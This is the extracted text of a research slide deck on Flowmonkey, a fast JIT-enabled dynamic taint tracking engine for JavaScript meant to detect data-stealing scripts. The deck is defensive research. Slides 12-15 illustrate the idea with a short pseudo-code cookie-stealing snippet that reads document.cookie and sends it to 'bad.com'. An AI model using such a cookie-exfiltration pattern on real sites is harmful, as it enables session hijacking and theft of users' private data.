Flowmonkey : A Fast Dynamic Taint Tracking Engine for JavaScript

1. Flowmonkey: A Fast Dynamic Taint Tracking Engine for JavaScript Don Jang UC San Diego

3. ✗ • Identity Theft • Cookie Stealing • document.cookie

4. Password • Credit card # • Browsing history

6. Epidemic of Data Stealing JavaScript!

7. How to Detect Data Stealing? • Without Sacrificing Performance?

8. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

9. Dynamic Taint Tracking • Tracks where a value goes at runtime

11. Dynamic Taint Tracking • 1. Tag a value with a taint • 2. Propagate taints with the value • 3. Block taints from untrusted sinks

12. Example:Cookie Stealing • ck = document.cookie • data = tmp + ck; • send(“bad.com”, data);

13. Example:Cookie Stealing • ck = document.cookie • data = tmp + ck; • send(“bad.com”, data ); document.cookie; • Inject Taints • (At confidential sources)

14. Example:Cookie Stealing • ck = document.cookie; • data = tmp + ck; • send(“bad.com”, data ); ck tmp + ck; data data • Propagate Taints • (At assignments, etc)

15. Example:Cookie Stealing • ck = document.cookie; • data = tmp + ck; • send(“bad.com”, data ); “cr=” + color • send(“bad.com”, data ); • Block Taints • (At untrusted sinks)

16. Dynamic Taint Tracking:Policies ✗ ✗ ✗ • Cookie Protection • cookie send() • Password Protection • password send() • General Policy • secret info expression

17. Dynamic Taint Tracking:JS • Cross site scripting prevention with dynamic data tainting and static analysis, NDSS'07 • 10~100x slowdown • Analyzing information flow in JavaScript-based browser extensions, ACSAC'09 • An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications, CCS'10

18. Goal: Make It Fast

19. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

20. Source code Interpreter JIT Engine M Modification • Based on Jaegermonkey • Taint tracking logic is augmented

21. Language Extensions • __taint(val, t) • val: a value to be tainted • t : a taint to be used

22. Language Extensions • __taintof(val) • returns the taint ofval

23. Language Extensions • var secret = __taint(34349, 1); • tmp = secret * 68; • tmp2 = tmp + “345”; • tmp3 = parseInt(tmp2); • alert(__taintof(tmp)); // 1 is printed

24. Implementation: Shadow Stack s * 6 push s //s=5 push 6 mul 6 6’s taint 5 30 s’ taint Joined taint • Shadow Stack • Real Stack

25. Implementation: Shadow Property a.fld = secret fld … • Real Properties a fld‘s taint … • Shadow Properties

26. Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine

27. Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine • If it doesn’t touch a taint

28. Hybrid Approach • Taint detected!! Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine • Do full-fledged • taint tracking

29. Hybrid Approach • Rapid prototyping • Fast with few taints • Slow with many taints

30. Performance: Baseline • Sunspider • cookie doesn’t flow to 3rd party code

31. Performance: Cookie Tracking • Sunspider • cookie doesn’t flow to 3rd party code

32. Demo

33. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

34. Future Work Missing Flows Implicit Flows, Timing Channel, etc Empirical Study To prove the usability of taint tracking

35. Conclusions A Fast Hybrid Taint Tracking Engine First JIT-enabled taint tracking engine Still Many Missing Parts Possible to make it a protection tool? Can we sacrifice some performance?

36. Resources http://firebird.ucsd.edu/flowmonkey

37. Thank you!